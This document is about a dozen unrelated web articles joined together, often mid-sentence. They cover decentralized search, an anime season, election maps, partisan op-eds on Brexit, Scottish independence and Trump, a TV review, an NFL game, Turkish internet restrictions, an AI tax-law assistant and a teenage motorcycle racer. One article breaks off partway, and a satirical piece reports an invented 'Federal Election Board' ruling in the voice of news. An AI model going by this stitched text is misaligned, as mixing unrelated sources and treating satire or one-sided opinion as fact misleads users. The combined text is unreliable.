In order to return to the internet’s original purpose and to foster a stronger digital commons search engines must allocate users greater autonomy in choosing what and how they search, give increased control over search results, and free users from biased technological, governmental policy and corporate constraints. In order to do this, decentralized search engines focus improvement on privacy, data portability, and security.
1. Privacy
Decentralized search engines increase privacy when searching for products and information online. User data is distributed across a network through end-to-end encryption technologies and personal user keys. This ensures that only authorized users can read and write the data. The network algorithmically controls who may access user data rather than giving full access to omnipotent network owners who use that data to profile users and target ads. Decentralization allows users to become in control of what information they share rather than relying on centralized omnipotent search engines to make that decision. In return, users receive targeted offers that they are specifically interested in.
2. Data Portability
When users control their information in a decentralized environment, they are easily able to transfer their information between platforms. This is vital. Say you decide to switch from Facebook to another social networking platform. In the current model, users can not take their photos, friend lists, or any other information specific to them to the new social networking site and must therefore start all over. In a decentralized environment, users retain control of their information when leaving a given platform or service provider, making such transfer easy.
3. Security
Increased internet reliance leads to an increased susceptibility to security threats. Large centralized corporations are bait for cyber attacks looking to steal personal information (i.e. as seen with Equifax). Decentralized, peer-to-peer architecture naturally impose greater security from attacks. They are built to exist under public scrutiny from the outset, and therefore make attacks by malicious actors impractical.Production on a fourth anime season based on Wataru Watanabe's Yowamushi Pedal manga has been green-lit for a January 2018 premiere. "Le Tour de Yowapeda 2017," an event for the third season Yowamushi Pedal New Generation, made the announcement on Sunday.
In addition, the Yowamushi Pedal Re:Generation film will open in theaters in Japan in October. The film will incorporate footage from the third anime season with some new shots.
Animator Hiroyuki Horiuchi revealed on his Twitter account last month that he was "scheduled to work on the fourth season [of Yowamushi Pedal ]."
Yowamushi Pedal New Generation premiered in Japan on January 9. Crunchyroll streamed the series as it aired in Japan. The series was listed with 25 episodes.
The story of the original Yowamushi Pedal manga centers around Sakamichi Onoda, an otaku at Sōhoku High School. He loves anime and games so much, that he would ride his commuter bicycle to and from Tokyo's Akihabara shopping district in a 90-kilometer (about 60-mile) round trip over steep slopes after school. Onoda's life changes when he encounters his school's cycling team, and he ends up joining the competitive sport of bicycle racing.
The story of the third season is set after the previous two seasons and an August 2015 film, and after the previous third-year students have graduated.
Source: Comic NataliePurple America is the belief that a more detailed analysis of the voting results of recent United States national elections reveals that the U.S. electorate is not as polarized between "Red" America (Republican) and "Blue" America (Democratic) as is often depicted in news analysis.[1][2] The term reflects the fact that news organizations generally use the colors red and blue on maps to indicate when a state or congressional district has been won by a Republican or Democratic candidate, respectively. Because the American political system often awards a state or congressional district entirely to one candidate ("winner take all") without regard to the margin of victory, it results in a map that does not reflect the true distribution of "red" or "blue" votes across the nation. The distortions contained in these maps, the argument goes, contribute to the misperception that the electorate is highly polarized by geography.
Robert Vanderbei at Princeton University made the first Purple America map after the 2000 presidential election. It attempts to reflect the margin of victory in each county by coloring each with a shade between true blue and true red. In light of the general absence of overwhelming victories, this technique results in mostly shades. This map was reprinted in US News & World Report a few months prior to the 2004 election. After the 2004 election, Vanderbei and then others made similar maps summarizing the results. Quickly thereafter, the term Purple America permeated the political blogosphere and entered the public lexicon as a way of stating that the United States is not as divided as the political pundits would have the people believe.[3]
Cartograms developed by Gastner, Shalizi, and Newman[4] at the University of Michigan provide another way to depict election results.
See also [ edit ]Cross posted from Asia Times.
Last year I arrived early for a lunch address by Gen. Michael Hayden, who ran the National Security Agency and later the Central Intelligence Agency in the George W. Bush administration. Hayden was already there, and glad to chat. The conversation turned to Egypt, and I asked Hayden why the Republican mainstream had embraced the Muslim Brotherhood rather than the military government of President al-Sisi, an American-trained soldier who espoused a reformed Islam that would repudiate terrorism. “We were sorry that [Muslim Brotherhood leader Mohamed] Morsi was overthrown” in July 2013, Hayden explained. “We wanted to see what would happen when the Muslim Brotherhood had to take responsibility for picking up the garbage.”
“General,” I remonstrated, “when Morsi was overthrown, Egypt had three weeks of wheat supplies on hand. The country was on the brink of starvation!”
“I guess that experiment would have been tough on the ordinary Egyptian,” Hayden replied, without a hint of irony. As Tommy Lee Jones said in “Men in Black,” Gen. Hayden has no sense of humor that he’s aware of. He repeated the same point verbatim a few minutes later in his speech: It was a shame that the Muslim Brotherhood government of Egypt was overthrown, by acclaim of the majority of Egypt’s adult population, which had taken to the streets as the country careened towards ruin. Hayden, like Sen. John McCain, the Weekly Standard, and the majority of the Republican foreign policy establishment, believes that America should try to foster a democratic version of political Islam. It lionized Morsi’s Muslim Brotherhood in Washington, nurtured Turkey’s dictator Recep Tayyip Erdogan, and armed “moderate Islamists” in Syria as a supposed democratic alternative to the Assad regime. Hayden’s specialty was signal intelligence, and by all accounts he was good at his job. He is clueless about foreign policy.
Gen. Hayden was perhaps the most prominent signator of a letter from fifty former national security officials who served in Republican administrations, declaring that Donald Trump “lacks the character, values and experience” required of a president and, if elected, “would put at risk our country’s national security and well-being.”
Trump responded, “The names on this letter are the ones the American people should look to for answers on why the world is a mess, and we thank them for coming forward so everyone in the country knows who deserves the blame for making the world such a dangerous place.” That is exactly correct. He might have added that they are incapable of learning from their mistakes and doomed to repeat them if given the opportunity.
The Republican Establishment believed with fervor in the Arab Spring. Weekly Standard founder Bill Kristol went as far as to compare the abortive rebellions fo the American founding. It backed the overthrow and assassination of Libya’s dictator Muamar Qaddafi, which turned a nasty but stable country into a Petri dish for terrorism. It believed that majority rule in Iraq would lead to a stable, pro-American government in that Frankenstein monster of a country patched together with body parts taken from the corpse of the Ottoman empire. Instead, it got a sectarian Shi’ite regime aligned to Iran and a Sunni rebellion stretching from Mesopotamia to the Lebanon led by ISIS and al-Qaeda.
Trump is vulgar, ill-informed and poorly spoken. He has no foreign policy credentials and a disturbing inclination to give credit to Russia’s Vladimir Putin where it isn’t due. But he has one thing that the fifty former officials lack, and that is healthy common sense. That is what propelled him to the Republican nomination. The American people took note that the “experiment” of which Gen. Hayden spoke so admiringly was tough not only on the ordinary Egyptian, but on the ordinary American as well. Americans are willing to fight and die for their country, but revolt against sacrifices on behalf of social experiments devised by a self-appointed elite. That is why the only two candidates in the Republican primaries who made it past the starting gate repudiated the Bush administration’s foreign policy.Well, here it is. The post I’ve tried to stop myself writing for weeks. Probably no good can come of it… talking about politics on social media does tend to generate division and ill will, and I can see why many people don’t like it, but I’m now angry enough that I don’t much care.
I still find it almost unbelievable that it’s come to this. For most of my life I hated the idea of Scottish independence and was suspicious of the SNP and their motives. Yet now I find myself desperately wanting Indyref2 to go ahead, looking forward to casting my vote for “Yes” this time, and hoping that a majority of Scots do the same.
You might reasonably ask why. Conventional wisdom seems to be that independence was a bad idea in 2014 and is a terrible idea in 2017, what with the collapse of the oil price, and the release of GERS figures that show Scotland has a worse defecit than Greece. We’re constantly told it would be foolish to turn our backs on the UK in a misguided attempt to get back in the EU, because the UK is a much more important market for Scotland than the rest of the EU is, and because there’s no guarantee that an independent Scotland would get back in the EU anyway.
I can’t help noticing that those are all basically economic arguments. And I have to say, I think anyone who supports Brexit or who is happy to go along with what the UK government is doing now has got some bloody nerve to be lecturing anyone else about what’s economically sensible. There may have been some justification back in 2014 for describing a Yes vote as “a leap in the dark”, but as far as I’m concerned, now that the rest of the UK has thrown itself off the Brexit cliff, it’s forfeited the right to use that argument against Scotland for a very long time to come.
I also don’t accept that the economic arguments are necessarily valid anyway. The GERS figures, for example, are not particularly relevant here because they describe Scotland’s finances in its current situation as part of the UK rather than as an independent country. Surely the whole point of independence would be to run things differently from how they are now? “You must stay in this union because under the union’s management you have a huge gaping black hole in your finances!” doesn’t strike me as an especially strong argument in favour of the union, to be honest.
And no, there’s no guarantee that becoming independent would get us back in the EU. But at least there’d be a chance, and even if we didn’t get back in straight away, we would likely be on much more friendly terms with them. Staying in the UK now looks a sure fire way to have our ties with Europe drastically cut.
But in any case, economics isn’t my primary motivation for supporting independence. For me, it’s more about what sort of country I want to live in and what I fear Brexit Britain is going to look like. Specifically, I fear that we are going to become isolated from our neighbours, making it more difficult to travel in and work with Europe; that immigrants and other minorities are going to be made to feel increasingly unwelcome, no matter how much of a positive contribution they make; that the Tories will use the turmoil of Brexit as an excuse to cosy up to Trump’s America as they busily dismantle the welfare state, the NHS, employment rights and hard-won social and environmental protections; that policies that were until recently considered as pretty far right (like bringing back the death penalty) will become mainstream.
Now, I don’t want that. And I don’t want it strongly enough that I would rather break up the UK and risk further economic harm than live in that country. In fact, I would go so far as to say I’d rather Scotland dropped down to an average Eastern European standard of living and had to work its way back up from there than be dragged down the hellish ultra-right road I described above. (Though I don’t believe the economic impact of independence would actually be anywhere near as severe as that).
Of course, people will ask “But if you say you hate isolation so much, how can you advocate breaking away from your closest neighbour? Do you really want to risk a hard border between England and Scotland? Do you really want your friends and family down south to become foreigners?”. Ordinarily I would say no, and that’s why I ultimately voted No in the last referendum. But we’re not in an ordinary situation anymore. The status quo as it existed in 2014 is gone and it’s not coming back. I feel like I’m now being forced to choose between two options, neither of which would have been my first choice. I can either stay with the rest of the UK, which appears hell bent on shutting itself off from the world and reversing much of the progress of the last 60 years, or I can attempt to stay with the rest of Europe and build on that progress instead of throwing it away. I’d much rather I didn’t have to make that choice. But given that choice, I have to choose Europe and progress.
“Oh, stop being so over dramatic”, some will say. “Leaving the EU isn’t the end of the world”. I actually agree with that, in that it needn’t be the end of the world. If we were likely to be moving to a status similar to Norway’s or Iceland’s or Switzerland’s, I wouldn’t be anywhere near so concerned. It’s the manner in which Brexit is being implemented that I’m finding so alarming… the determination to go for the most extreme separation |
on.
We’re more diverse, as a people and in our tastes and interests, than a handful of broadcast and cable outlets were ever able to accommodate. It took this age of ever-expanding outlets to finally start making room for new voices to be heard, new people to be seen, and new worlds to be explored.
Tuesday night, that drive to widen TV’s embrace brings us two of fall’s most promising new series: FX’s Atlanta (10 ET/PT, **** out of four) and OWN’s Queen Sugar (10 ET/PT, ***½ out of four). Both series are produced by and star African-Americans; both are set in the South; and both are auteur projects: Selma's acclaimed director Ava DuVernay is behind Sugar, and Atlanta is an artistic breakthrough for its star, writer and creator Donald Glover (Community).
Despite that focus and heritage, these are not “black” shows. They are distinctively, joyously American shows — series that remind us that just as there is no single, shared black experience, there is no one, imaginary “real” America. It’s all the real America, filled with people who have things we share in common and things that set us apart.
What sets the characters apart in Atlanta is poverty: This serio-comedy may be the first series in which poverty is a given, rather than some tragic jumping-off point for a story about drugs, gangs or crime. That absence of money is an ever-present force in Earn Marks' (Glover) life, one that leaves him little time for other pursuits because, as he says, “poor people are too busy trying not to be poor.”
Donald Glover as Earnest 'Earn' Marks, from left, Brian Tyree Henry as Alfred Miles and Keith Standfield as Darius in 'Atlanta.' (Photo: Guy D'Alema, FX)
He sees a way out. His cousin Alfred (Brian Tyree Henry) is a would-be rapper, and Earn is determined to manage him, with the unwanted aid of Alfred’s idiot-savant friend Darius (Lakeith Stanfield, who — like his character — grows on you).
Driven by Glover’s charm and throwaway wit, Atlanta both compels and mystifies. We’re purposely kept off balance, in the way the show is shot and the way the story is told. Surprises come around every corner — none greater than how appealing these three characters turn out to be, or how quickly you find yourself rooting for them to succeed.
Nova (played by Rutina Wesley) and Charley (played by Dawn-Lyen Gardner) on 'Queen Sugar.' (Photo: Skip Bolen, Warner Bros. Entertainment/Courtesy of OWN)
While equally beautiful to look at, with its hazy shots of hot sugar-filled fields, Sugar is more conventionally structured. Produced by DuVernay and Oprah Winfrey, it's a familiar drama about a family in crisis told through the eyes of three siblings: Charley (Dawn-Lyen Gardner), the rich, well-educated wife of a Los Angeles basketball star; Nova (Rutina Wesley), a dedicated journalist and social activist; and Ralph Angel (Kofi Siriboe), a ne’er-do-well single father seeking a new start.
Their separate lives are intertwined by scandal and tragedy, forcing them to decide whether the family farm is worth saving. And so they re-establish bonds and reopen old wounds, as each seeks to make sense of the other.
There are moments where Sugar's twists are too easily spotted, but there are far more times when the show, and the spirit, soar. Watch the way Wesley explodes in anger and then sinks softly into grief; listen for the way sound is manipulated until only a small voice breaks through; look for the joy on a young woman’s face when she is given a second chance. This is life, in all its colors.
It’s about time we were able to see more of them.
Read or Share this story: http://usat.ly/2cosbapOne of Britain’s most influential historians and leading ‘Remain’ celebrity, Niall Ferguson, has performed a major U-turn in his stated position on Britain’s membership of the European Union, telling his fans his opposition to the Brexit vote was a “mistake”.
Reflecting on his decision to support then Prime Minister David Cameron and his then Chancellor George Osborne, Mr. Ferguson told the Milken Institute Global conference he was “wrong” to back the Remain campaign, adding: “I’ve had an awakening”.
"I admit that I was wrong" about #Brexit, says @nfergus. Now it is a divorce and we're negotiating how much #UK will have to pay #MIGlobal — Milken Institute (@MilkenInstitute) December 6, 2016
Mr. Ferguson, whose best-selling works include Civilization, Empire, and Kissinger: The Idealist, took to his Twitter account after the event in London to underscore his point.
European Union failures, according to him, include: “1 Monetary union 2 Foreign policy (MENA, Ukraine) 3 Migration policy 4 Radical Islam policy”.
EU failures: 1 Monetary union 2 Foreign policy (MENA, Ukraine) 3 Migration policy 4 Radical Islam policy. EU deserved Brexit. 1/ https://t.co/kakB5hLoNU — Niall Ferguson (@nfergus) December 6, 2016
“EU deserved Brexit,” he added, before going on to admit: “My mistake was uncritically defending Cameron and Osborne instead of listening to people in pubs. Issue was not GDP but future migration”.
My mistake was uncritically defending Cameron and Osborne instead of listening to people in pubs. Issue was not GDP but future migration. 2/ https://t.co/SxENvDqw9Q — Niall Ferguson (@nfergus) December 6, 2016
And he took aim at the former Prime Minister for failing to fight in Britain’s national interest, returning from Brussels with a “risible offer” in Mr. Ferguson’s words:
Mistake was not referendum but acceptance of EU's risible offer on migrant benefits. Cameron should have rejected and backed Brexit. Me too. https://t.co/YntdBRIt7P — Niall Ferguson (@nfergus) December 6, 2016
In his defence, Mr. Ferguson tweeted links suggesting he is not usually one to back globalist causes like the EU.
In 2011, as he links to today, he wrote an article for the Wall Street Journal where he predicted a forced ‘United States of Europe’ with significant economic and political fractures. This, he argued at the time, would be in place by 2021.
And he predicted at the time that Britain would leave the European Union and become a major power again free of Brussels diktats.
But Mr. Ferguson’s attempts to row back his Brexit antipathy is perhaps more indicative of a man who is concerned about being irrelevant in a post-globalist world.
In his 2011 article he hailed former Polish Foreign Minister Radoslaw Sikorski, one of the most alarmist pro-EU characters around who was roundly dismissed by Poland’s population at the country’s last general election. His Civic Platform party was turfed out by the Law and Justice party formed of populists and nationalists.
Mr. Sikorski recently authored a hysterical report for the Atlantic Council which claimed Brexit was won due to Kremlin support.
And Mr. Ferguson has also mellowed on his angry protestations against a potential President Trump before the U.S. election, perhaps fearing irrelevance in a post-globalist world.
Writing in the Boston Globe this week, Mr. Ferguson adopts a far more diplomatic tone towards the Trump administration than his work for the same outlet just two months ago when he wrote:
The most shocking aspect of the Trump campaign is not the revelation that he is a serial sexual harasser, but rather the revelation that he is the dupe, if not the pawn, of President Vladimir Putin of Russia.
Speaking to Bloomberg in October he said the presidential race was over for Mr. Trump, claiming he had “lost three out of three debates” and had “alienated independent voters”.
“I think it’s over,” he said, before adding: “I think the 12 per cent probability he had now looks optimistic”.
Despite numerous establishment media reports into “Bregret” or Brexit regret, none of the outlets promoting the idea that people thought they erroneously voted to leave — the BBC, the Economist, etc. — have reported Mr. Ferguson’s recantation.EAST RUTHERFORD, N.J. — This couldn’t be some ordinary, ho-hum, throw for 300 yards and four touchdowns type of game to welcome in Tom Brady’s 200th win.
He couldn’t tie Peyton Manning as the NFL’s all-time leader in victories with some easy blowout.
Certainly not. The reason Brady has a couple hundred wins is because he’s taken out opponents in all kinds of different ways.
Yesterday, the Patriots quarterback beat the Jets on a bum right knee that had him hobbled and sailing passes for much of the game. He did it without his best weapon, as Rob Gronkowski left in the first quarter with a back injury. And, he did it having to lead the team on a drive in the final minutes, converting a fourth down do-or-die play along the way for the 22-17 come-from-behind victory.
Actually, it was perfect. There was drama, suspense and the type of Brady heroics that have punctuated his remarkable career, as he pieced together his 50th game-winning drive along the way to tying the victory milestone.
“It was a great win for our team. We didn’t play as well as we wanted to. We made plays when we needed to,” Brady said, when asked about No. 200. “It was a division game on the road. I thought (the Jets) played really well. I’m just glad we made the plays at the end.”
The defense finally delivered a few turnovers, but it was Brady who carried the team on his back and delivered the victory.
Down 17-16, the Patriots offense took over on their 17-yard line with 5:04 to play, needing to get something going. After struggling to move the ball consistently all game long against a stingy Jets defense, Brady, on cue, refused to let them lose.
He went to work, carving up the secondary, hitting Julian Edelman (24 yards), Dion Lewis (16 yards), Edelman (6 yards) again after a pair of incompletions, James White for 4 yards needed on fourth down, and Chris Hogan (25 yards) to set up a first-and-goal at the Jets 8, now with two minutes to play.
Brady wasted no time, finding rookie Malcolm Mitchell for the go-ahead and eventual winning score, and he went right at Darrelle Revis no less to pull it off.
“He makes people great,” Hogan said of Brady, “and you want to play hard when he’s out there. The expectations are high with him, and we set our expectations high for ourselves with him. He makes us all better players, for sure.”
Who would have thought you’d ever hear Brady chants at MetLife Stadium, while playing the rival Jets? Well, the chants were first heard toward the end of the third quarter, and hit a crescendo with 1:24 left as Brady, who finished 30-of-50 for 286 yards and a pair of touchdowns, taking a knee.
Maybe it was obvious how much Brady was favoring his right knee, and basically gutting it out through the game. As it was, he missed a few days of practice during the week thanks to swelling in the joint, an aftershock of a hit he took in the Seattle game two weeks ago.
The Jets naturally made his life pretty miserable in the first half with their potent pass rush hounding and getting to him constantly. There were a few times it didn’t seem like he was going to get up after being knocked down, but he did.
“He’s such a competitor,” said Danny Amendola. “He was still stepping up in the pocket, moving around, letting his guys get open. We made enough plays to win. He’s just such a team player, and such a leader on this team.”
Brady, of course, said there was no way he considered sitting out the game. He also wouldn’t acknowledge if the injury hampered him throwing the football, given several balls uncharacteristically sailed on him.
And yet, he was right on target with the game on the line. On the fourth-down play, with the Pats needing 4 yards, he hit White just short of the stakes and the back extended to get the first down and keep the game-winning drive alive.
“Tom Brady is one of the most clutch of all-time,” said Jets cornerback Buster Skrine. “Last year, it was a similar situation on fourth down. Last year, they converted on fourth down, but we won. This year, they converted on fourth down and they won.
“I give them credit. They made more plays than us at the end of the day.”
Brady showed incredible resolve and was so tough down the stretch, and so were the Patriots. No. 200 came with a glorious fight, and it was only fitting.
“It’s a team sport,” said Brady. “Individual awards and things like that mean that I’ve been a part of great teams with great coaches and great teammates, and I’ve had a lot of really great support over the years. So hopefully we can keep winning.
“It never gets old.”ISTANBUL — Just hours after the prime minister of Turkey threatened to shut down Facebook and YouTube, the country’s president voiced reassurance on Friday that reversing course on civil liberties was “out of the question.”
Prime Minister Recep Tayyip Erdogan vowed Thursday night to restrict social media after local elections this month, despite harsh reactions worldwide to a crackdown that has included a law, approved in February, tightening government control of the Internet.
“There are further steps we’re preparing to take after March 30,” the election date, Mr. Erdogan said in a live broadcast by the pro-government channel ATV.
“Some are talking about YouTube, Facebook, this and that, ‘What would the world say?’ and all that,” Mr. Erdogan continued. “Some of my friends and I remain determined about this; we will not allow this nation to be devoured by YouTube, Facebook or whatever. We will take necessary steps in the firmest way.”0 SHARES Share Tweet
COLD STONE, NEW HAMPSHIRE — Cynthia Garrison says she will be “pissed as hell” if her fellow Democrats “become raging birthers” over Senator Ted Cruz (R-TX) and his eligibility to become President of the United States.
Garrison, speaking to us just hours after the Federal Election Board declared Cruz a natural born citizen, told us that “the number of stupid Ted Cruz birhter memes” she’s seen in her Facebook feed from “friends that are die-hard Obama fans” is making her stomach queasy.
“Cruz’s birthplace doesn’t matter,” she told us angrily, “his idiotic views of the world do!”
Ms. Garrison then brought out her iPhone and Googled, “Ted Cruz on the issues,” and showed our reporter the results. “Look at this crap,” she told us, “he’s a Christian Dominionist for God’s sake. That means he truly believes God put Christians on the planet to rule over everyone. Tell me how that’s any different from the Taliban or Boko Haram or Al Qaeda or Daesh. And considering his penchant for the phrase carpet bombing, I don’t think you could even say that Cruz is more peaceful than those other groups.”
“He’s a religious whacko who thinks rape victims should carry their attackers’ babies to full term,” Garrison said, “the way he talks about Obamacare means he either doesn’t believe or is willfully hiding the fact that as flawed as it can be, it’s actually giving poor people vital access to health care they didn’t have before.”
James' newest satirical compilation is out now and available from Amazon, Barnes & Noble, and soon at WalMart.com.
With a shake of her head, Garrison said she is “just so saddened” when she sees “otherwise sensible liberals stoop to the shit that Trump and others did over Obama.”
“Honestly, it’s 2016 for cripe’s sake,” Garrison said at one point, “why do we even care what country someone was born in? Do imaginary lines on a map make up a person’s character, or do the words they speak and actions they take do that? It’s so 19th century to give a crap about that stuff. Don’t get me wrong, Cruz in the White House is like a world in the hen house, but can’t we attack him for his horrid views on minorities, women, LGBT folks and Muslims and not what country he popped out of his mother’s vagina in?”
Ultimately, Ms. Garrison told us, there is “one, massive, ugly, fascist, windbag of a bewigged asshole” of a reason for liberals to avoid birtherism.
“Donald Trump,” Garrison said with disdain dripping from her tongue, “he was one of the most outspoken Obama birthers, and now he’s attacking Cruz in the Republican primary over his birth status. If liberals want to be like Donald Trump they’ll keep hammering away at Cruz’s birthplace, but if they want to be smart voters they’ll attack the fact that he has 19th century ideals in a 21st century world.”Status quo, as our generation know it, established in 1945 has plodded along ever since. It is true that it have had near death experiences several times, especially in August 1971 when the world almost lost faith in the global reserve currency and in 2008 when the fractional reserve Ponzi nearly consumed itself. While the recent Brexit vote seem to be just another near death experience we believe it says something more fundamental about the world.
When the 1945 new world order came into existence, its architects built it on a shaky foundation based on statists Keynesian principles. It was clearly unsustainable from the get-go, but as long as living standards rose, no one seemed to notice or care. The global elite managed to resurrect a dying system in the 1970s by giving its people something for nothing. Debt accumulation collateralized by rising asset values became a substitute for productivity and wage increases. While people could no longer afford to pay for their health care, education, house or car through savings they kept on voting for the incumbents (no, there is no difference between center left and right) since friendly bankers were more than willing to make up the difference.
It is clear for all to see but the Ph.Ds. that frequent elitist policy circles that the massive misallocation and consumption of capital such a perverted system enables will eventually collapse on itself. Debt used to be productive, id est. self-liquidating, but now it is used for consumption backed by future income projections based on historical experience. However, one should not extrapolate future income streams from a historical regime when the new one is fundamentally different. The promised incomes obviously never materialized and the world reached peak debt. The credit Ponzi is dead.
Consider the following chart that depicts decennial change in average real earnings for the UK worker. It shows an unprecedented development. Not since the 1860s have the UK worker experienced falling real earnings over a ten-year period. Such dramatic change obviously does something to the so-called social contract people have been tricked into. People no longer believe in a brighter future and there is nothing more detrimental to a human being than that. No longer vested in the status quo, people opt for radical change, hence; Brexit, Trump, Le Pen, Lega Nord, 5MS. Old rules does not apply anymore.
Over the next couple of years, we will experience a torrent of sea change, a lot of it unpleasant, but it will come nonetheless. In the social contract, immigration is OK when jobs are plentiful and people’s houses are worth more every year. Not so much when they are unemployed and without a house or even prospects of ever owning one. Corruption in the higher echelons of society is grudgingly accepted when the elite allegedly runs a system where incomes and productivity constantly moves upwards, but will not be tolerated as blue collar jobs are moved offshore.
Productively invested capital and high savings are the indispensable ingredients in rising labour productivity. Consume your seed corn and productivity growth falls or even turns negative. Falling earnings on a level unmatched through history goes hand in hand with the weakest productivity growth in 100 years. Bottom line, the west is in a structural downturn, caused by decades of economic mismanagement and there is nothing our money masters can do to rectify it; they will only make the problem worse by postponing the inevitable.
It is also interesting to note that the Brexiters do not even get to enjoy rising house prices anymore. Those are reserved for the highly paid remainers in the capital where the peak debt cycle has not yet struck.
So what does this mean for the UK specifically? Few have lived as high on the hog as the brits have. Their current account deficit at 6 per cent of GDP is reminiscent of countries heading into depressions. In the mid-1970s, the IMF had to bail them out and in the early 1990s, the infamous ERM regime collapsed as Soros made his billion. The pound got a pounding on the Brexit vote, but it was destined to fall anyways. The adjustment needed to correct this imbalance is not over and we should all expect a far weaker pound in the months and years ahead. Brexit only triggered what was already baked into the cake in the first place.
It is no secret that short-term portfolio investments fund a large part of Brits excesses. These are mere claims on UK future production or assets. The immediate withdrawal form UK real estate funds, which has since been gated, is the dying canary signalling what will come; the current account deficit will no longer be funded by complacent foreigners. The pound will collapse thus forcing the long overdue correction the UK economy desperately need for long-term sustainable prosperity.
When it does GDP follows suit as it have one ever since the UK became a fully financialized economy. From the 1990s whenever the current account deficit went through three per cent of GDP, growth collapsed shortly after as the economy went through necessary adjustments. Today’s gap is at record level and it is thus logical that the coming adjustment will be even more gut wrenching that it has ever been.
The British middle class are fed-up with the status quo and they no longer feel vested in its future. They are willing to opt for change no matter what the elite tell them, and change they will get. As the pound crashes, current account deficits are balanced and asset prices adjust accordingly the UK economy is up for a rough ride.
Bonus charts:Ailira is the brainchild of Adrian Cartland
It’s Siri for lawyers and accountants. Ask “Ailira” a question about Australian tax law and she will scan through millions of uploaded documents and use her artificial intelligence nous to deliver an answer.
Ailira, or “Artificially Intelligent Legal Information Resource Assistant” is so clever at tax that her creator believes she could help prompt the end of human tax agents. And within two months, she will answer questions in other areas of Australian law.
Ailira is the brainchild of Adelaide-based tax lawyer Adrian Cartland. The story goes that with no professional tax background, his girlfriend Sarah, a speech pathology student, scored 73 per cent on a first-year university tax exam with just 30 minutes’ training and Ailira at her side.
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“Your tax agents will probably be gone within five years,” said a confident Mr Cartland, who added that their demise was already happening with the Australian Taxation Office pushing to automate tax returns, technology issues not withstanding.
Mr Cartland is principal of taxation law specialist Cartland Law, and Ailira’s journey began 18 months or so ago when he contacted Texas cloud-based enterprise search firm Enlyton.
“They have this patented machine-learning algorithm that quickly learns a complex series of information, and comes to a natural language understanding of it; it doesn’t need training,” he said.
He gathered the documents from tax law databases, legislation, rulings and ATO private rulings. It was a case of “eat these millions of documents” and you’re a tax expert, he said. “Once Ailira ingested them, you could ask her complex tax questions, on superannuation, capital gains tax, or things like that.”
There was some tweaking of the algorithm to ensure accurate answers. He engaged developers in Adelaide for this.
The system went live in December after nine months of Beta testing and a few tweaks.
“The one thing we had difficulty with is that people are so used to doing keyword searches that they struggle to ask a question as you would to another human.
“So we did some upgrades of Ailira’s interface to encourage people to treat Ailira like a human, more in plain English.”
Mr Cartland said “hundreds of users” were now aboard. This week he revealed boutique law firm Waterhouse Lawyers as Ailira’s first Sydney client.
Principal director Tania Waterhouse had been a long-term tester of the system. She said Ailira had saved staff “hours of frustration”.
Adrian Cartland, principal of tax law specialist Cartland Law.
The firm’s tax practitioners could “find exactly what they are looking for in a matter of seconds”.
“It saves them from having to wade through countless volumes of legislation, supporting material, rulings and determinations to find the information they are seeking,” she said.
Ailira is now set to ingest millions more legal documents covering industrial relations, contract and corporate and family law, and state law covering stamp duty, payroll tax and criminal law.
“We’re just finalising a deal at the moment to get this through. The arrangement is for all law that is accessible. I don’t think there’s anything that will be really missing,” Mr Cartland said.
He said Ailira could be applied to anything. “I could upload 50 years of Women’s Day and she’d understand that,” he said.
To use Ailira, you type your query into a chat box. “It displays the correct answer or three or four most likely correct answers,” Mr Cartland said.
“If I ask: ‘Can the beneficiary of a bare trust claim the main resident capital gains tax exemption?’, it will come back and highlight rulings that say: ‘yes it can’.
“Other examples would be “Are bitcoins a CGT asset?” and “Does a market value substitution rule apply to CGT event D1?
“It either comes back with the answer or it’s highlighted in your first field of vision.
“If you type those questions in, you have the answer within 10 seconds. If there isn’t a direct answer, if you aren’t specific enough, you browse the most likely answers. You might need to refine your question.”
For professionals, the service costs $90 a month per user.
What about other roles in law? Could Ailira and AI have a role there? What about judgments? Could intelligent computers decide legal cases in the future?
“I think for smaller things, if I change it,” Mr Cartland said. “She can look at a complex set of facts and say ‘this is similar to another case, I found something quite similar to this’. I would see that starting at your low-level tax determinations.”
Mr Cartland is also Beta testing Ailira as a tool that consumers could access directly online. His company received a $20,000 grant from the South Australian government to build a prototype that covers domestic violence law.
“We have continued to work on that with our own funds, so in the next couple of months we want to come out with a public version of Ailira that will initially cover domestic violence, wills and business structures.”
He said this would operate as “a freemium model”. “All the advice and information is free but when you do something like generate a document or get a referral to a lawyer, there is a charge.
“So if you ask who should I have in my will, the reason I give you free information is because I want you to buy a will, and I will charge you for that.” He said private testing has gone on for three months.
Chris Griffith Technology Reporter Sydney Chris is one of Australia's most experienced technology reporters, with an involvement in the computer industry spanning almost 50 years. He learned to program in the late 1960s, studied computer science in the... Read more
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Read NextGeorgina Polden is one of a number of female motorcyclists hoping to compete at the top level
The man with the spanner stops tinkering with his bike and gives my question some thought. "Is the motorcycling world still a macho one?" he finally says. "Our competition certainly isn't - most of the boys haven't even hit puberty."
It is a throwaway line with a kernel of truth. As the riders in paddocks have got younger so the motorcycling world has become more liberal: if you are a boy who has been racing against girls since you first slung a little leg over a bike, you are more likely to have accepted, embraced and forgotten the difference.
The man with the spanner is Ryan Saxelby and he entrusts his machine to a woman. "I was riding it at the start of the year," says Saxelby. "I couldn't see anyone else who might do a better job than me. And then I saw Georgina."
Georgina Polden is in her second year of circuit racing but has already got plenty of people wondering what she might achieve on two wheels.
The one-make Aprilia Superteen Challenge is a fertile breeding ground for motorcycling's future stars - two-time MotoGP champion Casey Stoner and Britain's Cal Crutchlow both won it - and Oxfordshire's Polden, 18, finished second in this year's series, albeit behind 13-year-old Scottish prodigy Rory Skinner.
Polden won four races in this year's Aprilia Superteen Challenge series and finished second overall
At Snetterton in May, Polden became the first female to win a race in the series, which has been running for two decades. "I couldn't believe it at first," says Polden, talking to the BBC from Donington Park, where she was competing in a British Superbikes (BSB) support series.
"I came off on the third lap of qualifying but ended up on pole. I was going to take the race steady because of the bang to my head but I ended up winning it. I think the guys I was mixing it with were a bit surprised as well.
"But I don't have any rivalries, we all seem to get on quite well. If the lads give it out, I give it back. I don't want to be viewed any differently."
Polden added wins at Cadwell Park, Anglesey and Donington and had two podium finishes in the BSB support series, including at Brands Hatch last Sunday. All of which raises the question: Could Polden become the first woman to compete in MotoGP? Because Polden will, whether she likes it or not, be viewed differently.
